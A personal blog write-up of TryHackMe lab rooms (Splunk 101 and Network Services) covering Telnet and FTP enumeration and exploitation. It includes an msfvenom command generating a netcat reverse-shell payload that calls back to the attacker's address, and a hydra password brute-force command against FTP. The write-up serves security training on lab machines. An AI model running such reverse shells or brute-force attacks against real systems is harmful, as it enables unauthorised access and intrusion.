Logan Lupeamanu

This post follows the Splunk 101 room on Tryhackme. Below are my notes as I progress through the questions.

Because I have experience navigating through Splunk, a lot of the beginning of this room I went fast through in order to get into more of the juice of the room.

Splunk Apps

One of the most important Splunk Apps is the Search & Reporting app provided by default. By editing your “user-prefs.conf”, you can direct Splunk to take you to the search page on login. In order for changes to take place, the “splunkd” service needs to be restarted from the command line using “net stop splunkd” and “net start splunkd”.

You can find more apps in the “+ Find More Apps” in the apps panel or “Splunk Apps” in the explore Splunk panel.

In progress.

Please note that this is the first part of my documentation of progressing through Tryhackme’s Cyber Defense Pathway. Below is essentially a collection of my own notes as I go through each section.

Understanding Telnet

Picking up at Task 5 of the Network Services lab, we get a refresher on Telnet. Simply, Telnet is an application protocol used to connect and execute commands on remote machines. Because of the lack of security mechanisms, Telnet was eventually replaced with SSH in most implementations, so I best remember Telnet as SSH before SSH.

How does Telnet work?

Simply using the command “telnet <ip> <port>” allows you to connect to a Telnet server. From which you can administer any commands you wish on that machine.

Enumerating Telnet

Now that we know a bit about Telnet, we can dive into the fun part of enumerating Telnet.

Spinning up the Tryhackme machine and scanning for open ports using nmap, we find that there is only 1 open port: 8012/tcp. As instructed, rerunning nmap without any tags results in 0 open ports.

Taking a look at our original scan results, we see that the title is “SKIDY’S BACKDOOR”, providing us with the answers to the next two questions: what could the port be used for and who does it belong to?

Exploiting Telnet

Now that we’ve successfully completed enumeration, we can move on to learning how to exploit Telnet.

From out enumeration, we know that the service itself is marked as a backdoor and we have a possible username (skidy).

Using this information, we shall try and connect to the telnet port using the command:

telnet 10.10.76.89 8012

Now when we try to enter any commands, it seems like we don’t get any return. Let’s check to see if what we’re typing is being executed as a system command. We can do this by starting up a tcpdump listener on our machine that specifically listsens for ICMP traffic.

Attempting to ping our THM machine from the telnet session, we see that we did receive the ping.

Now that we know we can communicate between machines, let us craft an exploit in order to generate a reverse shell. We do this by running the command:

msfvenom -p cmd/unix/reverse_netcat lhost=172.25.53.155 lport=4444 R

Copy and pasting this payload into our telnet server, our netcat session will respond, allowing us to print out the contents of flag.txt and get our flag!

Understanding FTP

Transitioning from Telnet to FTP, it again begins with a brief refresher on what FTP is. FTP (File Transfer Protocol), is exactly as the name suggests. It is a protocol allowing the remote transfer of files over a network. FTP uses a client-server model.

How does FTP work?

Typically, FTP sessions operate using two channels: a command channel and a data channel. The command channel is used in order to transmit commands as well as replies to the commands, while the data channel is used for transferring data.

Clients initiate a connection with the server and the server validates login credentials provided and then opens the session.

There are two types of connections an FTP server may support:

• Active: The client opens a port and listens. The server is required to actively connect to it.
• Passive: The server opens a port and listens and the client connects to it.

Enumerating FTP

Jumping into enumerating FTP, we fire up out THM machine and start up an nmap scan on the machine’s IP.

We can see that there are 2 open ports and FTP is running on port 21 as normal.

THM asks us what variant of FTP is running on the machine and to do this we again use nmap but with the “-sV” tag as well as the “-p 21” option to make our scan run faster.

From this we find that the version is vsftpd. Now that we know what we’re dealing with, we should probably check if we are able to login anonymously into the ftp server.

Alas, we are able to login anonymously. Using the “ls” command, we are able to see the contents of the anonymous FTP directory.

In order to read PUBLIC_NOTICE.txt, we transfer it to our local machine with “get PUBLIC_NOTICE.txt”. Once on our local machine, we can cat the contents and get the name Mike, which could be a possible username.

Exploiting FTP

Now that we have completed out enumeration of the FTP server, we have found a potential username: Mike. Using this information, our method is going to be very simple, we are going to try and bruteforce Mike’s password using Hydra.

The hydra command we are going to use is as follows:

hydra -t 4 -l Mike -P /usr/share/wordlists/rockyou.txt -vV 10.10.69.238 ftp

Quickly we find that mike’s password is password, how secure! Using this password to log into mike’s FTP directory and download a “ftp.txt”

Now that we have the flag, we are done with Network Services! Onto Network Services 2!